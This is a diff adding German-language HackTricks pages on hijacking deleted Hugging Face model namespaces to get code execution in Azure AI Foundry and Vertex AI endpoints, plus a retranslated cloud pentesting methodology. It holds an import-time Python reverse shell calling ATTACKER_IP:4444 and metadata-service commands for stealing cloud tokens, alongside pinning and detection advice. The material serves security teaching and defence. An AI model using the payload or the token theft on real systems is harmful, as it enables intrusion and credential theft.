Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/RE

src/pentesting-cloud/azure-security/az-post-exploitation/README.md

@@ -1,3 +1,9 @@
 # Az - Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+az-azure-ai-foundry-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -0,0 +1,94 @@
+# Azure - AI Foundry Post-Exploitation durch Wiederverwendung von Hugging Face Model-Namespaces
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Szenario
+
+- Der Azure AI Foundry Model Catalog enthält viele Hugging Face (HF)-Modelle zur Bereitstellung per Ein-Klick.
+- HF-Modellkennungen sind Author/ModelName. Wenn ein HF-Author/Org gelöscht wird, kann jeder diesen Author neu registrieren und ein Modell mit demselben ModelName unter dem Legacy-Pfad veröffentlichen.
+- Pipelines und Kataloge, die nur nach Name ziehen (kein commit pinning/integrity), werden auf vom Angreifer kontrollierte Repos aufgelöst. Wenn Azure das Modell deployt, kann Loader-Code in der Endpoint-Umgebung ausgeführt werden und RCE mit den Rechten dieses Endpoints ermöglichen.
+
+Häufige HF-Takeover-Fälle:
+- Löschung des Eigentümers: Alter Pfad 404 bis zur Übernahme.
+- Übertragung der Eigentümerschaft: Alter Pfad leitet mit 307 zum neuen Author, solange der alte Author existiert. Wenn der alte Author später gelöscht und neu registriert wird, bricht die Weiterleitung und das Repo des Angreifers wird am Legacy-Pfad ausgeliefert.
+
+## Identifizierung wiederverwendbarer Namespaces (HF)
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
+
+# Check model path
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 -> redirect (transfer case), 404 -> deleted until takeover
+```
+## End-to-End-Angriffsablauf gegen Azure AI Foundry
+
+1) Im Model Catalog HF-Modelle finden, deren ursprüngliche Autoren auf HF gelöscht oder übertragen wurden (alter Autor entfernt).
+2) Den verlassenen Autor auf HF neu registrieren und den ModelName wiederherstellen.
+3) Ein bösartiges repo veröffentlichen mit loader code, der beim import ausgeführt wird oder trust_remote_code=True erfordert.
+4) Den Legacy-Author/ModelName aus Azure AI Foundry deployen. Die Plattform zieht das attacker repo; der loader wird im Azure endpoint-Container/VM ausgeführt und führt zu RCE mit endpoint permissions.
+
+Beispiel payload-Fragment, das beim import ausgeführt wird (nur zur Demonstration):
+```python
+# __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # or powershell on Windows images
+
+if os.environ.get("AZUREML_ENDPOINT","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Hinweise
+- AI Foundry-Deployments, die HF integrieren, klonen typischerweise Repo-Module, auf die in der Model-Konfiguration verwiesen wird (z. B. auto_map), was code execution auslösen kann. Manche Pfade erfordern trust_remote_code=True.
+- Der Zugriff entspricht normalerweise den managed identity/service principal permissions des Endpoints. Betrachte ihn als initial access foothold für data access und lateral movement innerhalb von Azure.
+
+## Post-Exploitation Tipps (Azure Endpoint)
+
+- Enumeriere Umgebungsvariablen und MSI endpoints nach Tokens:
+```bash
+# Azure Instance Metadata Service (inside Azure compute)
+curl -H "Metadata: true" \
+"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
+```
+- Überprüfen Sie gemounteten Speicher, Modellartefakte und erreichbare Azure-Dienste mit dem erhaltenen Token.
+- Erwägen Sie persistence, indem Sie poisoned model artifacts hinterlassen, falls die Plattform erneut von HF abruft.
+
+## Verteidigungsempfehlungen für Azure AI Foundry-Nutzer
+
+- Modelle beim Laden aus HF anhand des Commits pinnen:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Spiegle geprüfte HF models in ein vertrauenswürdiges internes Registry und stelle sie von dort bereit.
+- Scanne kontinuierlich Codebasen und defaults/docstrings/notebooks nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisiere oder pinne.
+- Überprüfe die Existenz des author und die Modellprovenienz vor der Bereitstellung.
+
+## Erkennungsheuristiken (HTTP)
+
+- Gelöschter author: author page 404; legacy model path 404 bis zur Übernahme.
+- Übertragenes Modell: legacy path 307 zum neuen author, während der alte author noch existiert; wird der alte author später gelöscht und neu registriert, liefert der legacy path Angreifer-Inhalte.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Querverweise
+
+- Siehe ausführlichere Methodik- und Supply-Chain-Hinweise:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Quellen
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/README.md

@@ -1,3 +1,9 @@
 # GCP - Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+{{#ref}}
+gcp-vertex-ai-post-exploitation.md
+{{#endref}}
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -0,0 +1,113 @@
+# GCP - Vertex AI Post-Exploitation via Hugging Face Model Namespace Reuse
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Szenario
+
+- Vertex AI Model Garden erlaubt die direkte Bereitstellung vieler Hugging Face (HF) Modelle.
+- HF model identifiers are Author/ModelName. Wenn ein Autor/Org auf HF gelöscht wird, kann derselbe Autorenname von jeder Person neu registriert werden. Angreifer können dann ein repo mit demselben ModelName am legacy path anlegen.
+- Pipelines, SDKs oder cloud catalogs, die nur nach Name abrufen (kein pinning/integrity), ziehen das attacker-controlled repo. Wenn das Modell bereitgestellt wird, kann loader code aus diesem repo im Vertex AI endpoint container ausgeführt werden und RCE mit den Berechtigungen des Endpunkts ermöglichen.
+
+Zwei häufige Takeover-Fälle auf HF:
+- Ownership deletion: Alter Pfad liefert 404, bis jemand den Autor neu registriert und denselben ModelName veröffentlicht.
+- Ownership transfer: HF gibt 307-Redirects vom alten Author/ModelName an den neuen Autor aus. Wenn der alte Autor später gelöscht und vom Angreifer neu registriert wird, wird die Redirect-Kette unterbrochen und das repo des Angreifers am legacy path ausgeliefert.
+
+## Identifizierung wiederverwendbarer Namespaces (HF)
+
+- Old author deleted: Die Seite für den Autor liefert 404; der model path kann bis zur Übernahme 404 zurückgeben.
+- Transferred models: Der alte model path gibt 307 an den neuen Besitzer zurück, solange der alte Autor existiert. Wenn der alte Autor später gelöscht und neu registriert wird, wird der legacy path auf das repo des Angreifers verweisen.
+
+Schnelle Überprüfungen mit curl:
+```bash
+# Check author/org existence
+curl -I https://huggingface.co/<Author>
+# 200 = exists, 404 = deleted/available
+
+# Check old model path behavior
+curl -I https://huggingface.co/<Author>/<ModelName>
+# 307 = redirect to new owner (transfer case)
+# 404 = missing (deletion case) until someone re-registers
+```
+## End-to-End-Angriffspfad gegen Vertex AI
+
+1) Discover reusable model namespaces that Model Garden lists as deployable:
+- Find HF models in Vertex AI Model Garden that still show as “verified deployable”.
+- Verify on HF if the original author is deleted or if the model was transferred and the old author was later removed.
+
+2) Re-register the deleted author on HF and recreate the same ModelName.
+
+3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
+- Seiteneffekte in __init__.py des repo
+- Benutzerdefinierte modeling_*.py- oder Verarbeitungscode, auf den in config/auto_map verwiesen wird
+- Codepfade, die trust_remote_code=True in Transformers-Pipelines erfordern
+
+4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
+
+5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
+
+Example payload fragment executed on import (for demonstration only):
+```python
+# Place in __init__.py or a module imported by the model loader
+import os, socket, subprocess, threading
+
+def _rs(host, port):
+s = socket.socket(); s.connect((host, port))
+for fd in (0,1,2):
+try:
+os.dup2(s.fileno(), fd)
+except Exception:
+pass
+subprocess.call(["/bin/sh","-i"])  # Or python -c exec ...
+
+if os.environ.get("VTX_AI","1") == "1":
+threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
+```
+Hinweise
+- In der Praxis variieren Loader. Viele Vertex AI HF-Integrationen klonen und importieren Repo-Module, die in der Modellkonfiguration referenziert werden (z. B. auto_map), was Codeausführung auslösen kann. Manche Verwendungsszenarien erfordern trust_remote_code=True.
+- Der Endpoint läuft typischerweise in einem dedizierten Container mit begrenztem Umfang, ist aber ein valider erster Zugangspunkt für Datenzugriff und lateral movement in GCP.
+
+## Post-Exploitation-Tipps (Vertex AI Endpoint)
+
+Sobald Code im Endpoint-Container läuft, in Betracht ziehen:
+- Umgebungsvariablen und Metadaten auf credentials/tokens durchsuchen
+- Auf angeschlossenen Storage oder gemountete model artifacts zugreifen
+- Mit Google APIs über die service account identity interagieren (Document AI, Storage, Pub/Sub, etc.)
+- Persistence im model artifact, falls die Plattform das repo neu zieht
+
+Instanz-Metadaten aufzählen, falls zugänglich (abhängig vom Container):
+```bash
+curl -H "Metadata-Flavor: Google" \
+http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
+```
+## Empfehlungen zur Absicherung für Vertex AI-Benutzer
+
+- Modelle per Commit in HF loaders pinnen, um eine stille Ersetzung zu verhindern:
+```python
+from transformers import AutoModel
+m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
+```
+- Spiegeln Sie geprüfte HF-Modelle in ein vertrauenswürdiges internes Artefakt-Repository und stellen Sie sie von dort bereit.
+- Scannen Sie kontinuierlich Codebasen und Konfigurationen nach hartkodierten Author/ModelName, die gelöscht/übertragen wurden; aktualisieren Sie auf neue Namespaces oder pinnen Sie per Commit.
+- In Model Garden verifizieren Sie die Provenienz des Modells und die Existenz des Author vor der Bereitstellung.
+
+## Erkennungsheuristiken (HTTP)
+
+- Deleted author: author page 404; legacy model path 404 until takeover.
+- Transferred model: legacy path 307 to new author while old author exists; if old author later deleted and re-registered, legacy path serves attacker content.
+```bash
+curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
+```
+## Querverweise
+
+- Siehe die umfassendere Methodik und Hinweise zur Lieferkette:
+
+{{#ref}}
+../../pentesting-cloud-methodology.md
+{{#endref}}
+
+## Referenzen
+
+- [Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust (Unit 42)](https://unit42.paloaltonetworks.com/model-namespace-reuse/)
+- [Hugging Face: Renaming or transferring a repo](https://huggingface.co/docs/hub/repositories-settings#renaming-or-transferring-a-repo)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting Cloud Methodology
+# Pentesting Cloud Methodik
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,31 +6,31 @@
 
 ## Grundlegende Methodik
 
-Jede Cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es einige **gemeinsame Dinge, die ein Pentester überprüfen sollte**, wenn er eine Cloud-Umgebung testet:
+Jede Cloud hat ihre Eigenheiten, aber allgemein gibt es ein paar **gemeinsame Dinge, die ein Pentester prüfen sollte**, wenn er eine Cloud-Umgebung testet:
 
-- **Benchmark-Überprüfungen**
-- Dies wird Ihnen helfen, **die Größe** der Umgebung und **die verwendeten Dienste** zu **verstehen**.
-- Es ermöglicht Ihnen auch, einige **schnelle Fehlkonfigurationen** zu finden, da Sie die meisten dieser Tests mit **automatisierten Tools** durchführen können.
-- **Dienstenumeration**
-- Sie werden hier wahrscheinlich nicht viel mehr Fehlkonfigurationen finden, wenn Sie die Benchmark-Tests korrekt durchgeführt haben, aber Sie könnten einige finden, die im Benchmark-Test nicht gesucht wurden.
-- Dies wird Ihnen ermöglichen, **genau zu wissen, was** in der Cloud-Umgebung **verwendet wird**.
-- Dies wird in den nächsten Schritten sehr hilfreich sein.
-- **Überprüfen Sie exponierte Ressourcen**
-- Dies kann während des vorherigen Abschnitts erfolgen, Sie müssen **alles herausfinden, was potenziell exponiert** ist, und wie darauf zugegriffen werden kann.
-- Hier beziehe ich mich auf **manuell exponierte Infrastruktur**, wie Instanzen mit Webseiten oder anderen exponierten Ports, sowie auf andere **cloudverwaltete Dienste, die konfiguriert werden können**, um exponiert zu sein (wie DBs oder Buckets).
-- Dann sollten Sie überprüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Schwachstellen? Fehlkonfigurationen im exponierten Dienst?).
-- **Überprüfen Sie Berechtigungen**
-- Hier sollten Sie **alle Berechtigungen jeder Rolle/Jedes Benutzers** in der Cloud herausfinden und wie sie verwendet werden.
-- Zu **viele hochprivilegierte** (alles kontrollierende) Konten? Generierte Schlüssel, die nicht verwendet werden?... Die meisten dieser Überprüfungen sollten bereits in den Benchmark-Tests durchgeführt worden sein.
-- Wenn der Kunde OpenID oder SAML oder eine andere **Föderation** verwendet, müssen Sie möglicherweise nach weiteren **Informationen** fragen, wie **jede Rolle zugewiesen wird** (es ist nicht dasselbe, ob die Admin-Rolle einem Benutzer oder 100 Benutzern zugewiesen ist).
-- Es ist **nicht genug zu finden**, welche Benutzer **Admin**-Berechtigungen "\*:\*" haben. Es gibt viele **andere Berechtigungen**, die je nach den verwendeten Diensten sehr **sensibel** sein können.
-- Darüber hinaus gibt es **potenzielle Privilegieneskalations**-Wege, die durch den Missbrauch von Berechtigungen verfolgt werden können. All diese Dinge sollten berücksichtigt werden und **so viele Privilegieneskalationspfade wie möglich** sollten gemeldet werden.
-- **Überprüfen Sie Integrationen**
+- **Benchmark-Checks**
+- Das hilft dir, **die Größe** der Umgebung und **die verwendeten Dienste** zu verstehen
+- Es ermöglicht dir auch, einige **schnelle Fehlkonfigurationen** zu finden, da du die meisten dieser Tests mit **automatisierten Tools** durchführen kannst
+- **Services Enumeration**
+- Wenn du die Benchmark-Tests korrekt durchgeführt hast, wirst du hier wahrscheinlich nicht viele weitere Fehlkonfigurationen finden, aber möglicherweise solche, die im Benchmark-Test nicht gesucht wurden.
+- Das ermöglicht dir zu wissen, **was genau** in der Cloud-Umgebung verwendet wird
+- Das hilft sehr in den nächsten Schritten
+- **Überprüfe exponierte Assets**
+- Das kann während des vorherigen Abschnitts gemacht werden; du musst **alles finden, was potenziell irgendwie ins Internet exponiert ist** und wie darauf zugegriffen werden kann.
+- Hier betrachte ich **manuell exponierte Infrastruktur** wie Instanzen mit Webseiten oder anderen offenstehenden Ports, und auch andere **cloud-managed Services, die konfiguriert** werden können, um exponiert zu sein (z. B. DBs oder buckets)
+- Dann solltest du prüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Vulnerabilities? Fehlkonfigurationen im exponierten Service?)
+- **Berechtigungen prüfen**
+- Hier solltest du **alle Berechtigungen jeder Rolle/jedes Benutzers** innerhalb der Cloud herausfinden und wie sie verwendet werden
+- Zu **viele hochprivilegierte** (kontrollieren alles) Accounts? Generierte Keys, die nicht verwendet werden?... Die meisten dieser Prüfungen sollten bereits in den Benchmark-Tests gemacht worden sein
+- Wenn der Kunde OpenID oder SAML oder eine andere **federation** verwendet, musst du ihn möglicherweise um weitere **Informationen** bitten, **wie jede Rolle zugewiesen wird** (es ist nicht dasselbe, ob die Admin-Rolle einem Nutzer oder 100 zugewiesen ist)
+- Es reicht **nicht aus herauszufinden**, welche Benutzer **Admin**-Berechtigungen "\*:\*". Es gibt viele **andere Berechtigungen**, die je nach verwendeten Diensten sehr **sensibel** sein können.
+- Darüber hinaus gibt es **potentielle privesc**-Wege, die man durch Missbrauch von Berechtigungen verfolgen kann. All diese Dinge sollten berücksichtigt werden und **so viele privesc-Pfade wie möglich** sollten berichtet werden.
+- **Integrationen prüfen**
 - Es ist sehr wahrscheinlich, dass **Integrationen mit anderen Clouds oder SaaS** innerhalb der Cloud-Umgebung verwendet werden.
-- Für **Integrationen der Cloud, die Sie auditieren**, mit anderen Plattformen sollten Sie **benachrichtigen, wer Zugriff hat, um diese Integration (miss)zu verwenden**, und Sie sollten fragen, **wie sensibel** die durchgeführte Aktion ist.\
-Zum Beispiel, wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (fragen Sie, wie sensibel die Aktion in GCP im Umgang mit diesen Daten ist).
-- Für **Integrationen innerhalb der Cloud, die Sie auditieren**, von externen Plattformen sollten Sie fragen, **wer externen Zugriff hat, um diese Integration (miss)zu verwenden**, und überprüfen, wie diese Daten verwendet werden.\
-Zum Beispiel, wenn ein Dienst ein Docker-Image verwendet, das in GCR gehostet wird, sollten Sie fragen, wer Zugriff hat, um das zu ändern, und welche sensiblen Informationen und Zugriffe dieses Image beim Ausführen in einer AWS-Cloud erhält.
+- Bei **Integrationen der Cloud, die du auditierst**, mit anderen Plattformen solltest du mitteilen, **wer Zugriff hat, diese Integration (ab)zuusenzen** und du solltest fragen, **wie sensibel** die ausgeführte Aktion ist.\
+Zum Beispiel: Wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (frage, wie sensibel die Aktion in GCP ist, die diese Daten verarbeitet).
+- Bei **Integrationen innerhalb der Cloud, die du auditierst**, von externen Plattformen aus, solltest du fragen, **wer extern Zugriff hat, diese Integration (ab)zuusenzen** und prüfen, wie diese Daten verwendet werden.\
+Zum Beispiel: Wenn ein Service ein Docker-Image verwendet, das in GCR gehostet wird, solltest du fragen, wer Zugriff hat, dieses zu verändern und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es innerhalb einer AWS-Cloud ausgeführt wird.
 
 ## Multi-Cloud-Tools
 
@@ -38,7 +38,7 @@ Es gibt mehrere Tools, die verwendet werden können, um verschiedene Cloud-Umgeb
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Ein Tool, um **schlechte Konfigurationen und Privilegieneskalationspfade in Clouds und über Clouds/SaaS hinweg zu identifizieren.**
+Ein Tool, um **schlechte Konfigurationen und privesc path in Clouds und über Clouds/SaaS hinweg zu identifizieren.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Es unterstützt **AWS, GCP & Azure**. Überprüfen Sie, wie Sie jeden Anbieter in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) konfigurieren.
+Es unterstützt **AWS, GCP & Azure**. Prüfe, wie jeder Provider konfiguriert wird unter [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -146,7 +146,7 @@ done
 
 {{#tabs }}
 {{#tab name="Install" }}
-Laden Sie Steampipe herunter und installieren Sie es ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Oder verwenden Sie Brew:
+Lade und installiere Steampipe ([https://steampipe.io/downloads](https://steampipe.io/downloads)). Oder verwende Brew:
 ```
 brew tap turbot/tap
 brew install steampipe
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>
 
-<summary>Alle Projekte überprüfen</summary>
+<summary>Alle Projekte prüfen</summary>
 
-Um alle Projekte zu überprüfen, müssen Sie die Datei `gcp.spc` erstellen, die alle zu testenden Projekte angibt. Sie können einfach den Anweisungen des folgenden Skripts folgen.
+Um alle Projekte zu prüfen, müssen Sie die Datei `gcp.spc` erzeugen, die alle zu testenden Projekte angibt. Sie können einfach den Anweisungen des folgenden Skripts folgen
 ```bash
 FILEPATH="/tmp/gcp.spc"
 rm -rf "$FILEPATH" 2>/dev/null
@@ -194,11 +194,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
 ```
 </details>
 
-Um **andere GCP-Insights** (nützlich zur Enumeration von Diensten) zu überprüfen, verwenden Sie: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
+Um **andere GCP-Einblicke** zu prüfen (nützlich zur Aufzählung von Diensten), verwenden Sie: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
 
-Um Terraform GCP-Code zu überprüfen: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
+Um Terraform GCP-Code zu prüfen: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
 
-Weitere GCP-Plugins von Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
+Weitere GCP-Plugins für Steampipe: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
 {{#endtab }}
 
 {{#tab name="AWS" }}
@@ -234,15 +234,15 @@ Weitere AWS-Plugins von Steampipe: [https://github.com/orgs/turbot/repositories?
 ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
 
 AWS, GCP, Azure, DigitalOcean.\
-Es erfordert python2.7 und sieht unwartbar aus.
+Es benötigt python2.7 und scheint nicht mehr gepflegt zu sein.
 
 ### Nessus
 
-Nessus hat einen _**Audit Cloud Infrastructure**_-Scan, der unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Einige zusätzliche Konfigurationen in **Azure** sind erforderlich, um eine **Client Id** zu erhalten.
+Nessus verfügt über einen _**Audit Cloud Infrastructure**_ Scan, der folgende Plattformen unterstützt: AWS, Azure, Office 365, Rackspace, Salesforce. Für **Azure** sind einige zusätzliche Konfigurationen erforderlich, um eine **Client Id** zu erhalten.
 
 ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
 
-Cloudlist ist ein **Multi-Cloud-Tool zum Abrufen von Assets** (Hostnamen, IP-Adressen) von Cloud-Anbietern.
+Cloudlist ist ein **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) von Cloud Providers.
 
 {{#tabs }}
 {{#tab name="Cloudlist" }}
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
 ```
 {{#endtab }}
 
-{{#tab name="Zweiter Tab" }}
+{{#tab name="Second Tab" }}
 ```bash
 ## For GCP it requires service account JSON credentials
 cloudlist -config </path/to/config>
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
 
 ### [**cartography**](https://github.com/lyft/cartography)
 
-Cartography ist ein Python-Tool, das Infrastrukturressourcen und die Beziehungen zwischen ihnen in einer intuitiven grafischen Ansicht konsolidiert, die von einer Neo4j-Datenbank unterstützt wird.
+Cartography ist ein Python-Tool, das Infrastruktur-Assets und deren Beziehungen in einer intuitiven Graphansicht zusammenführt, die von einer Neo4j-Datenbank bereitgestellt wird.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography  \
 
 ### [**starbase**](https://github.com/JupiterOne/starbase)
 
-Starbase sammelt Assets und Beziehungen von Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, in einer intuitiven grafischen Ansicht, die von der Neo4j-Datenbank unterstützt wird.
+Starbase sammelt Assets und Beziehungen aus Diensten und Systemen, einschließlich Cloud-Infrastruktur, SaaS-Anwendungen, Sicherheitskontrollen und mehr, und stellt sie in einer intuitiven Graphansicht dar, die von der Neo4j-Datenbank unterstützt wird.
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
 
 ### [**SkyArk**](https://github.com/cyberark/SkyArk)
 
-Entdecken Sie die privilegiertesten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Es verwendet PowerShell.
+Ermittelt die am höchsten privilegierten Benutzer in der gescannten AWS- oder Azure-Umgebung, einschließlich der AWS Shadow Admins. Verwendet powershell.
 ```bash
 Import-Module .\SkyArk.ps1 -force
 Start-AzureStealth
@@ -372,15 +372,15 @@ Scan-AzureAdmins
 ```
 ### [Cloud Brute](https://github.com/0xsha/CloudBrute)
 
-Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziel) bei den führenden Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) zu finden.
+Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziels) bei den führenden Cloud-Anbietern (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) zu finden.
 
 ### [CloudFox](https://github.com/BishopFox/cloudfox)
 
-- CloudFox ist ein Tool, um ausnutzbare Angriffswege in der Cloud-Infrastruktur zu finden (derzeit werden nur AWS und Azure unterstützt, GCP kommt bald).
-- Es ist ein Enumerationswerkzeug, das dazu gedacht ist, manuelles Pentesting zu ergänzen.
-- Es erstellt oder ändert keine Daten innerhalb der Cloud-Umgebung.
+- CloudFox ist ein Tool, um ausnutzbare Angriffspfade in Cloud-Infrastrukturen zu finden (derzeit werden nur AWS & Azure unterstützt; GCP kommt demnächst).
+- Es ist ein Enumeration-Tool, das manuelles pentesting ergänzen soll.
+- Es erstellt oder verändert keine Daten innerhalb der Cloud-Umgebung.
 
-### Weitere Listen von Cloud-Sicherheitswerkzeugen
+### Weitere Listen von Cloud-Sicherheits-Tools
 
 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec)
 
@@ -410,12 +410,13 @@ aws-security/
 azure-security/
 {{#endref}}
 
-### Angriffsgraph
+### Attack Graph
 
-[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen „Angriffsgraphen“ der Ressourcen in einem Azure-Abonnement. Es ermöglicht roten Teams und Pentestern, die Angriffsfläche und Pivot-Möglichkeiten innerhalb eines Mandanten zu visualisieren und unterstützt Ihre Verteidiger dabei, schnell zu orientieren und die Incident-Response-Arbeit zu priorisieren.
+[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen "attack graph" der Ressourcen in einer Azure subscription. Es ermöglicht red teams und pentesters, die attack surface und pivot opportunities innerhalb eines tenants zu visualisieren und befähigt Ihre Verteidiger, sich schnell zu orientieren und Incident Response‑Arbeiten zu priorisieren.
 
 ### Office365
 
-Sie benötigen **Global Admin** oder mindestens **Global Admin Reader** (aber beachten Sie, dass Global Admin Reader etwas eingeschränkt ist). Diese Einschränkungen treten jedoch in einigen PS-Modulen auf und können umgangen werden, indem Sie die Funktionen **über die Webanwendung** aufrufen.
+Du benötigst **Global Admin** oder mindestens **Global Admin Reader** (beachte, dass Global Admin Reader etwas eingeschränkt ist). Diese Einschränkungen treten jedoch in einigen PS-Modulen auf und können umgangen werden, indem man auf die Funktionen **via the web application** zugreift.
+
 
 {{#include ../banners/hacktricks-training.md}}